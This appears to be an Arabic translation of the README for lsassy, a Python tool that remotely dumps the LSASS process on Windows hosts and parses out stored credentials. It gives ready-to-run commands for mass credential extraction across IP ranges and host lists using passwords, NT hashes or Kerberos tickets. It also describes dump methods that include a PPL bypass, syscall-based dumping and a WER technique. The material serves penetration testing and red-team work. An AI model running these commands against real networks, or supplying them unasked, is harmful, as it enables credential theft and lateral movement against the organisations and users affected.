
استخراج بيانات الاعتماد من lsass عن بُعد
أداة بايثون لاستخراج بيانات الاعتماد عن بُعد من مجموعة من المضيفين. يشرح هذا المقال كيفية عملها.
تستخدم هذه الأداة مشروع impacket لقراءة البايتات اللازمة عن بُعد من تفريغ lsass و pypykatz لاستخراج بيانات الاعتماد.
| الفصول | الوصف |
|---|---|
| تحذير | قبل استخدام هذه الأداة، اقرأ هذا |
| التثبيت | تثبيت Lsassy |
| الاستخدام الأساسي | استخدام lsassy الأساسي |
| الاستخدام المتقدم | استخدام lsassy المتقدم مع شرح المعاملات |
| إضافة طريقة تفريغ | كيفية إضافة طريقة تفريغ lsass مخصصة |
| شكر وتقدير | تحية لهؤلاء الأشخاص والأدوات |
| ديسكورد الرسمي | خادم ديسكورد الرسمي |
على الرغم من أنني بذلت قصارى جهدي لجعل الأداة مستقرة، فقد تبقى آثار في حال حدوث أخطاء.
يمكن لهذه الأداة إما أن تترك بعض تفريغات lsass إذا فشلت في حذفها (على الرغم من أنها تحاول جاهدة القيام بذلك) أو أن تترك مهمة مجدولة قيد التشغيل إذا فشلت في حذفها. لا ينبغي أن يحدث هذا، لكنه قد يحدث. الآن أنت تعلم، استخدمها بحذر.
lsassy تعمل مع بايثون >= 3.7
python3 -m pip install lsassy
python3 setup.py install
lsassy تعمل فوراً على أهداف متعددة (IP(s)، نطاق(ات)، CIDR(ات)، اسم مضيف(ات)، FQDN(ات)، ملف(ات) تحتوي على قائمة أهداف)
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
بشكل افتراضي، ستحاول lsassy تفريغ lsass عن بُعد باستخدام طريقة comsvcs.dll، إما عبر WMI أو عبر مهمة مجدولة عن بُعد.
يمكن لـ lsassy المصادقة باستخدام Kerberos. يتطلب ذلك TGT صالحاً في متغير البيئة KRB5CCNAME. راجع الاستخدام المتقدم لمزيد من التفاصيل.
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
يتم تنفيذ طرق مختلفة لتفريغ lsass في lsassy، ويتم توفير بعض الخيارات لإعطاء المستخدم التحكم في كيفية عمل الأداة.
lsassy مقسمة إلى وحدات
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
هذه الوحدة هي المنسقة. تقوم بإنشاء فئة lsassy مع الوسائط والخيارات المقدمة، ثم تستدعي الوحدات المختلفة لاسترداد بيانات الاعتماد.
تُستخدم هذه الوحدة لأغراض التسجيل.
هذه طبقة مبنية فوق Impacket للتصرف مثل كائن ملف بايثون المدمج. تقوم بتجاوز طرق مثل open، read، seek، أو close.
هذه هي الوحدة التي تحتوي على كل منطق التفريغ. اعتماداً على الطريقة المستخدمة، ستقوم بتنفيذ كود على المضيف البعيد لتفريغ lsass باستخدام الطريقة المقدمة.
تعتمد هذه الوحدة على pypykatz وتستخدم وحدة الملف في lsassy لتحليل تفريغ lsass عن بُعد
تتعامل هذه الوحدة مع جزء الإخراج، إما على الشاشة بتنسيقات مختلفة و/أو كتابة النتائج إلى ملف
يمكن لهذه الأداة تفريغ lsass بطرق مختلفة.
طرق التفريغ (-m أو --method)
تستخدم هذه الطريقة ملفات ويندوز المدمجة فقط لاستخراج بيانات الاعتماد عن بُعد. تستخدم وظيفة minidump من comsvcs.dll لتفريغ عملية lsass.
تقوم هذه الطريقة برفع procdump.exe من SysInternals لتفريغ عملية lsass.
تقوم هذه الطريقة برفع dumpert.exe أو dumpert.dll من outflanknl لتفريغ عملية lsass باستخدام استدعاءات النظام (syscalls).
تقوم هذه الطريقة برفع NativeDump.exe من ricardojoserf لتفريغ عملية lsass باستخدام NTAPIs فقط.
تقوم هذه الطريقة برفع ppldump.exe من itm4n لتفريغ عملية lsass وتجاوز PPL.
تقوم هذه الطريقة برفع Mirrordump.exe من Ccob لتفريغ lsass باستخدام مقبض مفتوح بالفعل لـ lsass عبر إضافة LSA.
تستخدم هذه الطريقة تقنية WER المستخدمة في PowerSploit.
لبعض طرق التفريغ، يلزم وجود خيارات، مثل مسار procdump أو dumpert. يمكن تعيين هذه الخيارات باستخدام --options أو -O مع قائمة مفصولة بفواصل من الخيارات بطريقة key=value.
... --options key=value,foo=bar
على سبيل المثال:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
يمكنك اختيار تحليل عملية lsass تم تفريغها بالفعل عن طريق توفير المفتاح --parse-only، بالإضافة إلى المعاملين --dump-path و --dump-name.
لاحظ أنه إذا اخترت هذه الطريقة، لن يتم حذف تفريغ lsass عن بُعد.
على سبيل المثال:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
إذا كنت لا تريد حذف التفريغ تلقائياً بعد تشغيل lsassy، يمكنك استخدام --keep-dump.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump